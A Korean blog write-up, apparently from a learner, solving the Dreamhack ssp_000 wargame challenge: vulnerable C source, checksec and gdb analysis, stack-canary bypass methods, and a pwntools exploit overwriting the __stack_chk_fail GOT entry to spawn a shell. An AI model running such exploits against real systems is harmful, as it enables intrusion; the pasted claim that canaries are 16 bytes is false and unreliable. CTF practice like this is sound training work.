Dreamhack/Dreamhack Wargame (Challenge)

[64] IT 비전공자 [dreamhack]ssp_000문제 풀기

imaginefuture-1 2024. 11. 12. 09:46

버퍼오버플로우 어서오고~

 

 

This output describes the security features enabled for an executable file on an Ubuntu 16.04 system. Let’s break down each element:

1. **Architecture** (`Arch: amd64-64-little`): 
   - This indicates a 64-bit executable for the x86_64 (AMD64) architecture, with little-endian byte ordering.

2. **RELRO** (`Partial RELRO`): 
   - "RELRO" stands for **Relocation Read-Only**, a security measure that can prevent certain types of exploitation.
   - "Partial RELRO" means that only the **Global Offset Table (GOT)** is read-only, but other writable sections are still accessible. This offers some protection, but "Full RELRO" is generally preferred for enhanced security.

3. **Stack Canary** (`Canary found`): 
   - Stack canaries are values placed on the stack to detect buffer overflows.
   - Since a "canary" is found, this binary uses stack canaries to help prevent buffer overflow attacks on the stack.

4. **NX** (`NX enabled`): 
   - NX stands for **No eXecute**, a feature that marks sections of memory as non-executable.
   - With NX enabled, the program cannot execute code from certain areas like the stack or heap, providing protection against attacks such as stack-based buffer overflows.

5. **PIE** (`No PIE`): 
   - PIE stands for **Position Independent Executable**.
   - "No PIE" means that this executable does not support **Address Space Layout Randomization (ASLR)**, making it easier to predict addresses in memory, which could make exploitation simpler.
   - With PIE enabled, the program would load at a different memory address each time, increasing security by making it harder to predict addresses.

### Summary
This binary has moderate security protections:
- **Partial RELRO** and **Stack Canary** provide some resilience against buffer overflows.
- **NX enabled** prevents execution from non-executable memory regions.
- **No PIE** makes the binary’s memory layout predictable, which may make it more vulnerable to certain types of attacks.


 

 

 

 

 

 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

 

 

This C program has several parts to analyze, with a clear vulnerability. Let’s break down each function and analyze the security aspects.

### Program Analysis

1. **Headers and Function Declarations**
   - `#include <stdio.h>`, `#include <stdlib.h>`, `#include <signal.h>`, and `#include <unistd.h>` are included for standard I/O, memory management, signal handling, and UNIX-specific functions.

2. **`alarm_handler` function**
   - This function is a signal handler that triggers when the program’s execution time exceeds 30 seconds.
   - If triggered, it prints "TIME OUT" and exits the program with a return code of `-1`.

3. **`initialize` function**
   - `setvbuf` functions set the buffering mode of `stdin` and `stdout` to "no buffering," ensuring that input and output operations are immediately flushed.
   - A signal is set up for `SIGALRM` to call `alarm_handler`.
   - `alarm(30)` sets an alarm that will send a `SIGALRM` signal after 30 seconds to terminate the program, helping to prevent infinite waiting.

4. **`get_shell` function**
   - This function calls `system("/bin/sh")`, opening a shell if invoked.
   - It could be used to exploit the program if an attacker manages to gain control of program execution to reach this function.

5. **`main` function**
   - **Variables:** Declares `addr`, `value`, and `buf` with a size of `0x40` (64 bytes), initializing the buffer with zeros.
   - **`initialize` call:** Sets up the signal handling and alarm timeout.
   - **Vulnerability in `read` call:** The `read(0, buf, 0x80);` line reads 128 bytes from standard input into `buf`, which has only 64 bytes of allocated space, creating a **buffer overflow vulnerability**. This allows an attacker to overwrite adjacent memory, potentially controlling the flow of the program.
   - **Address and Value Input:** The program prompts for two inputs:
     - `addr`: A memory address that is cast to a `long` pointer.
     - `value`: The value to store at `addr`.
   - **Arbitrary Write:** `*(long *)addr = value;` writes `value` to the location specified by `addr`. This results in an **arbitrary memory write vulnerability**: an attacker can control where and what value to write in memory, potentially modifying critical parts of the program.

### Security Vulnerabilities

1. **Buffer Overflow Vulnerability in `read`**: 
   - `buf` is allocated 64 bytes, but the program reads 128 bytes into it, causing overflow. An attacker can overwrite adjacent memory, potentially controlling the return address or function pointers.

2. **Arbitrary Memory Write Vulnerability**:
   - After the buffer overflow, the user can specify an arbitrary memory address (`addr`) and value (`value`). This allows an attacker to modify memory contents directly, which could be used to overwrite a return address or other sensitive data.

3. **Potential for Exploitation:**
   - By carefully crafting input, an attacker could:
     - Overwrite `buf` to modify the saved return address, jumping to the `get_shell` function.
     - Use the arbitrary write to redirect execution to `get_shell`.
   - The `get_shell` function can grant a shell to the attacker, allowing them to execute arbitrary commands.

### Example Exploitation

To exploit this program, an attacker could:
1. Overflow `buf` to modify the stack, possibly targeting `addr` and `value` for further manipulation.
2. Use the arbitrary memory write to overwrite the return address with the address of `get_shell`.

### Summary
The program has significant vulnerabilities due to:
1. A **buffer overflow** in the `read` function.
2. **Arbitrary memory write** that enables manipulation of critical memory regions.
3. **Unsafe use of `scanf`** without validation, allowing malicious inputs.

### Mitigations
To secure the program:
- Limit `read` to the size of `buf` (`0x40`).
- Remove or protect the `get_shell` function.
- Avoid arbitrary memory writes; validate `addr` to restrict writes to specific safe regions.

 


 

**SSP (Stack-Smashing Protector)**는 **버퍼 오버플로우** 같은 취약점을 악용해 스택을 덮어쓰는 공격을 방어하기 위해 추가된 보안 기법입니다. 주로 컴파일러에서 적용하는 기술로, 스택의 무결성을 확인하여 메모리 오염 공격을 방지합니다. **Canary**라는 특정 값을 스택에 저장하고, 함수가 종료될 때 이 값을 검사함으로써 스택 오버플로우 공격을 탐지합니다.

### 1. SSP 방어 기법이란?

**SSP(Stack-Smashing Protector)** 또는 **Stack Canary**는 함수가 호출될 때 다음과 같은 과정을 거쳐 보안을 강화합니다.

- **Canary 값 설정**: 함수가 시작될 때, 스택의 **복귀 주소와 변수 사이에 Canary 값**을 배치합니다. 이 값은 **난수(random value)**로 설정되어 예상하기 어렵습니다.
- **Canary 값 검증**: 함수가 종료되기 직전에 Canary 값이 변경되었는지 확인합니다. 만약 Canary 값이 변했다면 스택이 오버플로우되었다고 판단하고 프로그램을 종료시킵니다.
  
이 방식은 오버플로우가 발생하더라도 Canary 값을 통과해야만 복귀 주소를 조작할 수 있기 때문에, 공격자가 Canary 값을 알아내지 못하면 공격이 어렵습니다.

### 2. SSP 방어 기법 우회 방법

SSP는 강력한 방어 기법이지만, 몇 가지 방법으로 우회할 가능성도 있습니다. 대표적인 우회 기법은 다음과 같습니다.

#### A. Canary 값 유출(정보 유출 취약점)

만약 프로그램에 **정보 유출 취약점**이 있다면, Canary 값을 추출해낼 수 있습니다. Canary 값이 스택에 저장되므로 메모리 덤프나 스택 값을 유출할 수 있다면 이를 통해 Canary 값을 알아내고, Canary 값을 덮어쓰지 않고 원하는 공격을 수행할 수 있습니다.

#### B. Canary 무효화

일부 시스템에서는 Canary가 **고정 값**으로 설정되는 경우가 있습니다. 고정된 값은 공격자가 Canary 값을 미리 파악하고 공격을 설계할 수 있게 합니다. 하지만, 현대 시스템에서는 Canary를 난수로 설정하는 경우가 많아 이 방법은 어렵습니다.

#### C. Partial Overwrite

**Partial overwrite** 기법을 사용하여 Canary 값을 덮어쓰지 않고 복귀 주소만 덮어쓰는 방법도 있습니다. 예를 들어, 64비트 시스템에서 **하위 1~2바이트**만 덮어쓰는 방식으로 Canary를 손상시키지 않고 복귀 주소를 조작할 수 있습니다. 이 방법은 구조에 따라 가능할 수도 있지만, 특정 상황에서만 사용 가능합니다.

#### D. ROP (Return-Oriented Programming)와 Canary 우회

SSP가 활성화된 상태에서 Canary를 통과하지 못하더라도, ROP를 사용하여 코드 실행 권한을 얻을 수 있습니다. ROP는 Canary 값이 변경되지 않도록 유지하면서도 **코드 재사용**을 통해 쉘을 획득하거나 시스템 명령을 실행할 수 있습니다.

### 3. SSP 방어 기법의 한계와 보안성

SSP는 버퍼 오버플로우 공격을 어렵게 만들어 주지만, 완벽하지는 않습니다. 정보 유출, ROP 등의 기법으로 우회가 가능할 수 있으므로 **ASLR (Address Space Layout Randomization)**, **NX (Non-Executable Stack)** 같은 다른 보안 기법과 병행하여 사용해야 보안성이 더욱 강화됩니다.

**정리하자면**, SSP는 스택을 보호하는 데 매우 효과적이지만, 정보 유출과 같은 보조 취약점을 이용해 Canary 값을 알아내거나, Canary 값을 덮어쓰지 않는 기법(Partial overwrite, ROP 등)을 통해 우회할 수 있는 여지가 있습니다.

 

 


 

 


임의 쓰기 취약점이 존재하기 때문에, 일부러 카나리를 변조해서 __stack_chk_fail 함수가 실행되게 하고 __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite를 하면 쉘을 띄울 수 있을거 같습니다.

출처 ㅣ https://velog.io/@silvergun8291/Dreamhack-ssp000

https://hackhijack64.tistory.com/44

 

Dreamhack - ssp_000

오늘은 내가 ssp를 배운 기념으로 드림핵의 ssp문제를 풀어볼 것이다. 그러면 바로 코드를 살펴보겠다. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdi

hackhijack64.tistory.com

 


풀이글을 읽는 중 궁금증이 생겼다

 

(gdb) b *0x0000000000400948
Breakpoint 1 at 0x400948
(gdb) r
Starting program: /home/psj/ssp_000 

Breakpoint 1, 0x0000000000400948 in main ()
(gdb) i r rsi
rsi            0x7fffffffde00	140737488346624
(gdb) x/40gx 0x7fffffffde00
0x7fffffffde00:	0x0000000000000000	0x0000000000000000
0x7fffffffde10:	0x0000000000000000	0x0000000000000000
0x7fffffffde20:	0x0000000000000000	0x0000000000000000
0x7fffffffde30:	0x0000000000000000	0x0000000000000000
0x7fffffffde40:	0x00007fffffffdf30	0x95e122e28cf06000 <<<<<---- canary
0x7fffffffde50:	0x00000000004009c0	0x00007ffff7a2d840
0x7fffffffde60:	0x0000000000000001	0x00007fffffffdf38
0x7fffffffde70:	0x00000001f7ffcca0	0x00000000004008fb
0x7fffffffde80:	0x0000000000000000	0xaa77d80aa93e6705
0x7fffffffde90:	0x0000000000400780	0x00007fffffffdf30
0x7fffffffdea0:	0x0000000000000000	0x0000000000000000
0x7fffffffdeb0:	0x55882775067e6705	0x558837cf154e6705
0x7fffffffdec0:	0x0000000000000000	0x0000000000000000
0x7fffffffded0:	0x0000000000000000	0x00007fffffffdf48
0x7fffffffdee0:	0x00007ffff7ffe168	0x00007ffff7de780b
0x7fffffffdef0:	0x0000000000000000	0x0000000000000000
0x7fffffffdf00:	0x0000000000400780	0x00007fffffffdf30
0x7fffffffdf10:	0x0000000000000000	0x00000000004007a9
0x7fffffffdf20:	0x00007fffffffdf28	0x000000000000001c
0x7fffffffdf30:	0x0000000000000001	0x00007fffffffe2cf

 

여기서 왜 80바이트를 넣으면 카나리를 덮을 수 있는거야?


카나리를 덮을 수 있는 이유는 **버퍼와 카나리 간의 메모리 배치**와 관련이 있습니다. 주어진 코드에서 `buf`는 64바이트(0x40) 크기의 배열이고, `read(0, buf, 0x80);`로 128바이트를 읽고 있습니다. 이로 인해 **버퍼 오버플로우**가 발생하게 되고, 카나리가 덮어지게 됩니다.

### 메모리 배치와 카나리 덮어쓰기

1. **버퍼의 위치**: `buf`는 64바이트 크기의 배열로, 스택의 특정 위치에 저장됩니다.
   
2. **카나리 위치**: 버퍼 바로 다음에 **카나리 값**이 저장됩니다. 카나리는 버퍼와 함수의 복귀 주소 사이에 위치하여 스택 오버플로우를 방지합니다.

3. **버퍼 오버플로우**: `read(0, buf, 0x80);`는 128바이트를 읽습니다. 하지만 `buf`는 64바이트이므로, **64바이트 이후부터는 버퍼 범위를 벗어나서** 스택의 다른 데이터를 덮어쓰게 됩니다. 

   - 첫 64바이트는 `buf`를 채우고, 그 이후에 이어지는 16바이트가 카나리 값을 포함한 다른 스택 데이터를 덮어쓰게 됩니다.
   - 따라서 80바이트를 입력하면 `buf` (64바이트)와 그 다음 위치에 있는 **카나리 값**(16바이트 중 일부)을 덮을 수 있게 됩니다.

### 정리

버퍼 오버플로우가 발생하면서, `buf` 바로 뒤에 저장된 카나리 값이 덮어쓰여 스택 보호 메커니즘이 동작하게 됩니다. 이때, 카나리 값은 주로 64바이트 버퍼 뒤에 위치하고 있기 때문에, **80바이트를 입력하면 64바이트는 `buf`를 채우고, 나머지 16바이트가 카나리 값을 덮어쓰게** 됩니다. 

따라서, 카나리를 덮어쓰기 위해서는 80바이트의 데이터를 입력해야 합니다.

 

 

 

왜 16바이트로 설정한거야?

 

 

 

 

카나리가 **16바이트**로 설정된 것은 일반적으로 스택 프레임에서 **버퍼와 반환 주소 사이에 위치한 보안 데이터 패딩**의 크기와 관련이 있습니다. 정확히 16바이트로 설정된 이유는 다음과 같은 여러 가지 이유가 있습니다.

### 1. **64비트 시스템의 메모리 정렬(Alignment)**

현대 64비트 시스템에서는 메모리 정렬(Alignment) 규칙을 따릅니다. 메모리 정렬은 **8의 배수(64비트)로 정렬**하는 경우가 많습니다. 정렬에 맞추기 위해 Canary와 같은 보안 패딩 데이터도 8바이트 또는 16바이트 단위로 설정되곤 합니다. 이 경우, Canary가 **16바이트**로 설정된 것은 **메모리 정렬 규칙에 따른** 것입니다.

### 2. **데이터 패딩의 보안성 강화**

일반적으로 Canary는 8바이트 이상으로 설정되는데, 16바이트로 Canary 값을 설정하면, Canary 값을 더 어렵게 예측하게 만듭니다. 16바이트 Canary는 아래와 같은 보안적 이점을 제공합니다:

   - **랜덤 값 확장**: Canary 값이 16바이트면 8바이트보다 많은 무작위 값을 포함할 수 있어 공격자가 Canary 값을 맞추기 어렵게 만듭니다.
   - **더 많은 패딩으로 인한 보안성 강화**: Canary 값이 8바이트 대신 16바이트로 설정되면, 버퍼 오버플로우가 발생하더라도 Canary의 일부만 덮어쓰기 어려워져 Canary를 무력화하기 어려워집니다.

### 3. **프로세서 아키텍처와 운영체제의 설정에 의한 기본값**

운영체제나 컴파일러가 Canary의 크기를 16바이트로 설정하는 경우도 있습니다. 특히 리눅스와 같은 환경에서 GCC나 Clang과 같은 컴파일러는 Canary 값을 **16바이트로 설정**하여 추가적인 보안성을 제공합니다.

### 정리

16바이트 Canary 값은 시스템의 **메모리 정렬, 보안 강화, 운영체제와 컴파일러 설정**에 의해 결정됩니다. Canary가 8바이트보다 큰 값으로 설정되면 **버퍼 오버플로우 공격을 더욱 어렵게 만드는데** 기여할 수 있습니다.

 

 

8바이트인지 16바이트인지 어떻게 알아?
 

 

 

Canary가 8바이트인지 16바이트인지 확인하는 방법은 **디버거**나 **메모리 덤프**를 통해 Canary의 메모리 크기를 확인하는 것입니다. 일반적으로 Canary의 크기는 시스템 아키텍처나 컴파일러 설정에 따라 다르므로, 다음 방법으로 크기를 확인할 수 있습니다.

### 1. **디버거(GDB)를 이용한 Canary 크기 확인**

디버거에서 Canary 값을 확인하는 방법은 다음과 같습니다.

1. **중단점 설정**: `main()` 함수가 끝나기 직전이나 Canary 검사가 이루어지는 지점에 중단점을 설정합니다.
   
2. **Canary 메모리 주소 확인**: 스택의 Canary 값이 저장된 위치를 찾아 `x` 명령어로 Canary의 크기를 확인합니다.
   - Canary 값이 저장된 위치를 알면, `x/2gx` 명령어를 통해 Canary가 8바이트인지 16바이트인지 확인할 수 있습니다.

3. **예시**:
   ```bash
   (gdb) b main
   (gdb) r
   (gdb) i r rbp  # rbp 레지스터에서 스택 프레임 확인
   (gdb) x/2gx $rbp-8  # Canary가 8바이트면 한 줄만 차지하고, 16바이트면 두 줄 차지

 

아하 그래서 16바이트였다 두줄!

   여기서 Canary가 8바이트면 한 줄만 나타나고, 16바이트면 두 줄이 표시됩니다.

### 2. **컴파일러 설정을 통해 Canary 크기 확인**

컴파일러에서 Canary의 크기를 설정할 수 있는 경우도 있습니다. GCC와 Clang 컴파일러에서는 `-fstack-protector` 옵션을 이용해 Canary를 설정할 수 있습니다. Canary 크기를 확인하려면 컴파일러 문서를 참조하거나 소스 코드를 통해 Canary 설정을 명시적으로 확인할 수 있습니다.

### 3. **메모리 덤프를 통한 Canary 크기 확인**

실행 파일을 메모리 덤프로 분석하거나 `readelf`나 `objdump` 명령어로 Canary와 관련된 스택 패턴을 확인할 수 있습니다. Canary의 크기가 아키텍처나 보안 설정에 따라 다르므로, Canary의 위치와 크기를 확인하려면 GDB나 메모리 분석 도구를 사용하는 것이 가장 확실한 방법입니다.

 

 


 


canary를 변조를 하면 무조건 stack chk fail이 실행된다.
 
그러면 처음에 nop을 80바이트를 넣어서 카나리를 변조하고, 다음에 임의의 주소에 값을 받을 때, addr에 stack_chk_fail의 got를 넣고 value에 get_shell의 함수를 넣으면 쉘을 실행할 수 있을 것이다.

출처 ㅣ https://hackhijack64.tistory.com/44

 

 

이 설명은 Canary 변조와 함께 **임의 메모리 쓰기 취약점**을 활용해 `get_shell()` 함수를 호출하는 **익스플로잇 과정**을 설명하고 있습니다. 단계별로 더 자세히 분석하겠습니다.

### 1. Canary 변조와 `_stack_chk_fail` 호출

1. **Canary 변조**:
   - 스택에서 Canary는 버퍼 오버플로우를 탐지하는데 사용됩니다.
   - Canary 값을 덮어쓰면 프로그램은 Canary 값이 변조되었음을 감지하고, `_stack_chk_fail()` 함수를 호출하여 프로그램을 비정상 종료합니다.

2. **Canary 덮어쓰기 (NOP 사용)**:
   - `read` 함수를 통해 80바이트를 입력함으로써 Canary를 덮어쓸 수 있습니다.
   - 이때 Canary는 무작위 값이기 때문에, Canary의 값을 덮어쓰면서 Canary 검사에 실패하도록 설정할 수 있습니다.

3. **_stack_chk_fail의 역할**:
   - Canary가 변조되면 프로그램이 `_stack_chk_fail` 함수를 호출하여 종료합니다.
   - 이 함수는 기본적으로 보안 실패 시 실행되는 함수로, **`GOT` (Global Offset Table)**에서 함수의 위치를 참조해 호출됩니다.

### 2. 임의 메모리 쓰기 취약점 이용하기

이제 Canary 덮어쓰기와 `_stack_chk_fail` 호출을 이용해, **임의 메모리 쓰기 취약점**으로 `get_shell()` 함수를 호출할 계획을 세울 수 있습니다.

1. **addr에 `_stack_chk_fail`의 GOT 주소 입력**:
   - `addr`에 `_stack_chk_fail`의 GOT 주소를 넣으면, `value`에 해당하는 값이 `_stack_chk_fail`의 위치에 기록됩니다.
   - 즉, `_stack_chk_fail`을 다른 함수 주소로 덮어쓸 수 있는 것입니다.
   
2. **value에 `get_shell`의 주소 입력**:
   - `value`에 `get_shell` 함수의 주소를 입력하면 `_stack_chk_fail`의 GOT 엔트리가 `get_shell` 함수의 주소로 변경됩니다.

### 3. 익스플로잇 과정

이제 이 과정을 종합하여 공격이 어떻게 이루어지는지 단계별로 정리해보겠습니다.

1. **Canary 덮어쓰기**: `read`를 통해 80바이트 NOP 데이터를 입력하여 Canary 값을 덮어씁니다. 이로 인해 프로그램은 Canary 검사에 실패하고 `_stack_chk_fail`을 호출하려고 합니다.
   
2. **임의 메모리 쓰기**:
   - `addr`에 `_stack_chk_fail`의 GOT 주소를 입력하고, `value`에 `get_shell` 함수의 주소를 넣어 `_stack_chk_fail`의 GOT 엔트리를 `get_shell` 함수 주소로 변경합니다.
   - 이제 Canary 검사 실패 시 `_stack_chk_fail` 대신 `get_shell`이 호출됩니다.

3. **쉘 실행**: Canary 검사가 실패할 때 `_stack_chk_fail` 대신 `get_shell`이 호출되어 쉘이 열립니다.

### 요약

- **Canary를 덮어써서 Canary 검사가 실패**하도록 유도.
- **임의 메모리 쓰기 취약점**을 사용해 `_stack_chk_fail`의 GOT 엔트리를 `get_shell`로 덮어씀.
- Canary 검사 실패 시 **`get_shell()`** 함수가 호출되어 쉘이 실행됩니다.

이 방식은 **임의 메모리 쓰기**와 **Canary 변조**가 모두 가능한 상황에서 사용될 수 있는 효과적인 공격 기법입니다.

 


 

main disassemble

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004008fb <+0>:	push   %rbp
   0x00000000004008fc <+1>:	mov    %rsp,%rbp
   0x00000000004008ff <+4>:	sub    $0x70,%rsp
   0x0000000000400903 <+8>:	mov    %edi,-0x64(%rbp)
   0x0000000000400906 <+11>:	mov    %rsi,-0x70(%rbp)
   0x000000000040090a <+15>:	mov    %fs:0x28,%rax
   0x0000000000400913 <+24>:	mov    %rax,-0x8(%rbp)
   0x0000000000400917 <+28>:	xor    %eax,%eax
   0x0000000000400919 <+30>:	lea    -0x50(%rbp),%rdx
   0x000000000040091d <+34>:	mov    $0x0,%eax
   0x0000000000400922 <+39>:	mov    $0x8,%ecx
   0x0000000000400927 <+44>:	mov    %rdx,%rdi
   0x000000000040092a <+47>:	rep stos %rax,%es:(%rdi)
   0x000000000040092d <+50>:	mov    $0x0,%eax
   0x0000000000400932 <+55>:	call   0x40088e <initialize>
   0x0000000000400937 <+60>:	lea    -0x50(%rbp),%rax
   0x000000000040093b <+64>:	mov    $0x80,%edx
   0x0000000000400940 <+69>:	mov    %rax,%rsi
   0x0000000000400943 <+72>:	mov    $0x0,%edi
   0x0000000000400948 <+77>:	call   0x400710 <read@plt>
   0x000000000040094d <+82>:	mov    $0x400a55,%edi
   0x0000000000400952 <+87>:	mov    $0x0,%eax
--Type <RET> for more, q to quit, c to continue without paging-- ret
   0x0000000000400957 <+92>:	call   0x4006f0 <printf@plt>
   0x000000000040095c <+97>:	lea    -0x60(%rbp),%rax
   0x0000000000400960 <+101>:	mov    %rax,%rsi
   0x0000000000400963 <+104>:	mov    $0x400a5d,%edi
   0x0000000000400968 <+109>:	mov    $0x0,%eax
   0x000000000040096d <+114>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400972 <+119>:	mov    $0x400a61,%edi
   0x0000000000400977 <+124>:	mov    $0x0,%eax
   0x000000000040097c <+129>:	call   0x4006f0 <printf@plt>
   0x0000000000400981 <+134>:	lea    -0x58(%rbp),%rax
   0x0000000000400985 <+138>:	mov    %rax,%rsi
   0x0000000000400988 <+141>:	mov    $0x400a5d,%edi
   0x000000000040098d <+146>:	mov    $0x0,%eax
   0x0000000000400992 <+151>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400997 <+156>:	mov    -0x60(%rbp),%rax
   0x000000000040099b <+160>:	mov    %rax,%rdx
   0x000000000040099e <+163>:	mov    -0x58(%rbp),%rax
   0x00000000004009a2 <+167>:	mov    %rax,(%rdx)
   0x00000000004009a5 <+170>:	mov    $0x0,%eax
   0x00000000004009aa <+175>:	mov    -0x8(%rbp),%rcx
   0x00000000004009ae <+179>:	xor    %fs:0x28,%rcx
   0x00000000004009b7 <+188>:	je     0x4009be <main+195>
   0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>
--Type <RET> for more, q to quit, c to continue without paging--ret
   0x00000000004009be <+195>:	leave
   0x00000000004009bf <+196>:	ret
End of assembler dump.

 

read를 call할때 브레이크를 걸어 canary 값의 위치를 확인해보자

(gdb) b *0x0000000000400948
Breakpoint 1 at 0x400948
(gdb) r
Starting program: /home/happy/Downloads/ssp_000/ssp_000 
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]                                               
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000000000400948 in main ()
(gdb) i r rsi
rsi            0x7fffffffdce0      140737488346336
(gdb) x/40gx 0x7fffffffdce0
0x7fffffffdce0:	0x0000000000000000	0x0000000000000000
0x7fffffffdcf0:	0x0000000000000000	0x0000000000000000
0x7fffffffdd00:	0x0000000000000000	0x0000000000000000
0x7fffffffdd10:	0x0000000000000000	0x0000000000000000
0x7fffffffdd20:	0x00007fffffffde10	0xdd15645216391b00
0x7fffffffdd30:	0x00007fffffffddd0	0x00007ffff7c2a1ca
0x7fffffffdd40:	0x00007fffffffdd80	0x00007fffffffde58
0x7fffffffdd50:	0x0000000100400040	0x00000000004008fb
0x7fffffffdd60:	0x00007fffffffde58	0x377581444ca18756
0x7fffffffdd70:	0x0000000000000001	0x0000000000000000
0x7fffffffdd80:	0x0000000000000000	0x00007ffff7ffd000
0x7fffffffdd90:	0x377581444d818756	0x3775913eb4038756
0x7fffffffdda0:	0x00007fff00000000	0x0000000000000000
0x7fffffffddb0:	0x0000000000000000	0x0000000000000001
0x7fffffffddc0:	0x0000000000000000	0xdd15645216391b00
0x7fffffffddd0:	0x00007fffffffde30	0x00007ffff7c2a28b
0x7fffffffdde0:	0x00007fffffffde68	0x00007ffff7ffe2e0
0x7fffffffddf0:	0x00007fff00000000	0x00000000004008fb
0x7fffffffde00:	0x0000000000000000	0x0000000000000000
0x7fffffffde10:	0x0000000000400780	0x00007fffffffde50

 

이 GDB 출력은 `main` 함수에서 `read` 함수 호출 직전에 걸린 브레이크포인트를 통해, 스택의 상태와 `rsi` 레지스터의 값을 보여주고 있습니다. 이 상태를 분석하여 Canary 위치와 Canary를 덮어쓸 수 있는 방법을 설명하겠습니다.

### 분석

1. **스택 덤프 (`x/40gx 0x7fffffffdce0`)**
   - 스택의 덤프를 통해 Canary 값을 확인할 수 있습니다.
   - `0x7fffffffdd20` 주소에 `0xdd15645216391b00` 값이 있습니다. 이 값이 **Canary**로 보입니다.
   - 이 Canary 값은 스택에서 `buf` 바로 뒤에 위치하고, 함수 종료 시 Canary 검사에 사용됩니다.

2. **Canary 변조를 통한 오버플로우 가능성**
   - Canary 값이 `0xdd15645216391b00`로 확인되었으므로, 버퍼 오버플로우를 통해 이 값을 덮어쓰면 Canary 검사에 실패하고 `_stack_chk_fail` 함수가 호출됩니다.
   - Canary 변조로 `_stack_chk_fail`을 호출하게 되면, 이 함수의 GOT 엔트리를 `get_shell`로 덮어써서 쉘을 실행할 수 있습니다.

3. **익스플로잇 방법**
   - Canary가 `0x7fffffffdd20`에 위치하고 있으며, Canary 앞에 있는 64바이트 버퍼를 넘어서 Canary 값을 덮어쓸 수 있습니다.
   - Canary가 덮어쓰이면 함수 종료 시 Canary 검사에 실패하고 `_stack_chk_fail`이 호출됩니다.
   
4. **_stack_chk_fail GOT 엔트리 덮어쓰기**
   - Canary 변조 후 `addr`에 `_stack_chk_fail`의 GOT 주소를 입력하고, `value`에 `get_shell`의 주소를 입력하여 `_stack_chk_fail`의 GOT 엔트리를 `get_shell`로 덮어씁니다.
   - 이 상태에서 Canary 검사 실패로 `_stack_chk_fail`을 호출하게 되면, 실제로 `get_shell`이 호출되어 쉘이 열립니다.

### 요약
이 과정은 다음과 같습니다:

1. `read`로 80바이트를 입력하여 Canary를 덮어씁니다.
2. `addr`에 `_stack_chk_fail`의 GOT 주소를 입력하고, `value`에 `get_shell`의 주소를 입력하여 `_stack_chk_fail`의 GOT 엔트리를 `get_shell`로 덮어씁니다.
3. Canary 검사 실패 시 `get_shell`이 호출되어 쉘을 실행합니다. 

이와 같이 Canary 변조와 임의 메모리 쓰기 취약점을 사용하여 시스템 쉘을 획득할 수 있습니다.

 


 

0x4008ea에 있다 get_shell 주소

 

exploit code를 짜보자

 

 

from pwn import *
p = remote("host3.dreamhack.games", 10768)
e = ELF ("./ssp_000")

p.sendline(b"A"*80) #nop 80bytes

p.recvuntil(b"Addr :") #Addr :

p.sendline(str(e.got['__stack_chk_fail']).encode())

p.recvuntil(b"Value : ") #value

p.sendline(str(0x4008ea).encode())

p.interactive()

 

코드 참고 출처ㅣ https://hackhijack64.tistory.com/44

 

Dreamhack - ssp_000

오늘은 내가 ssp를 배운 기념으로 드림핵의 ssp문제를 풀어볼 것이다. 그러면 바로 코드를 살펴보겠다. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdi

hackhijack64.tistory.com

 

이 익스플로잇 코드는 Dreamhack 서버에서 `ssp_000` 프로그램의 **Canary 덮어쓰기**와 **임의 메모리 쓰기**를 이용하여 `get_shell`을 실행하려는 목적을 가지고 있습니다. 코드의 각 부분을 설명드리겠습니다.

### 코드 설명

```python
from pwn import *
p = remote("host3.dreamhack.games", 10768)  # Dreamhack 원격 서버에 연결
e = ELF ("./ssp_000")  # ELF 파일 로드하여 GOT와 함수 주소 등을 분석할 수 있게 설정
```

- `pwn` 라이브러리의 `remote` 함수를 통해 Dreamhack 원격 서버의 지정된 포트에 연결합니다.
- `ELF` 객체로 `ssp_000` 바이너리를 로드하여 이진 파일의 주소 정보를 사용할 수 있습니다.

```python
p.sendline(b"A"*80)  # Canary 덮어쓰기 위한 80바이트 입력
```

- `b"A"*80`은 Canary를 덮어쓰기 위해 전송되는 데이터입니다.
- Canary가 스택에 할당된 64바이트 버퍼 뒤에 위치하므로, Canary를 덮어쓰려면 80바이트의 데이터가 필요합니다.
  
```python
p.recvuntil(b"Addr :")  # "Addr :"라는 프롬프트가 나타날 때까지 기다림
p.sendline(str(e.got['__stack_chk_fail']).encode())
```

- `recvuntil` 함수는 `Addr :` 프롬프트가 출력될 때까지 서버의 응답을 기다립니다.
- `e.got['__stack_chk_fail']`는 `_stack_chk_fail` 함수의 **GOT 테이블 주소**를 가져옵니다.
- 해당 주소를 `addr`에 입력하여, 다음 단계에서 이 주소에 원하는 값을 덮어쓸 수 있게 합니다.

```python
p.recvuntil(b"Value : ")  # "Value :"라는 프롬프트가 나타날 때까지 기다림
p.sendline(str(0x4008ea).encode())  # 0x4008ea 주소로 덮어씁니다
```

- `0x4008ea`는 `get_shell` 함수의 주소입니다.
- `_stack_chk_fail`의 GOT 엔트리를 `get_shell`의 주소로 덮어써서, Canary 검사 실패 시 `_stack_chk_fail`이 아닌 `get_shell`이 호출되도록 설정합니다.

```python
p.interactive()  # 셸을 활성화하고 사용자와의 상호작용 모드로 전환
```

- 프로그램을 상호작용 모드로 전환하여 **셸을 얻고 명령을 실행할 수 있는 상태**로 만듭니다.

### 요약

이 익스플로잇 코드는 Canary 덮어쓰기와 GOT 덮어쓰기를 통해 `_stack_chk_fail` 호출을 `get_shell`로 우회하여 셸을 실행하는 방법입니다. Dreamhack 서버와의 연결을 통해 취약한 서버에서 셸을 획득할 수 있게 해 줍니다.

 

 

 

반갑다 flag야~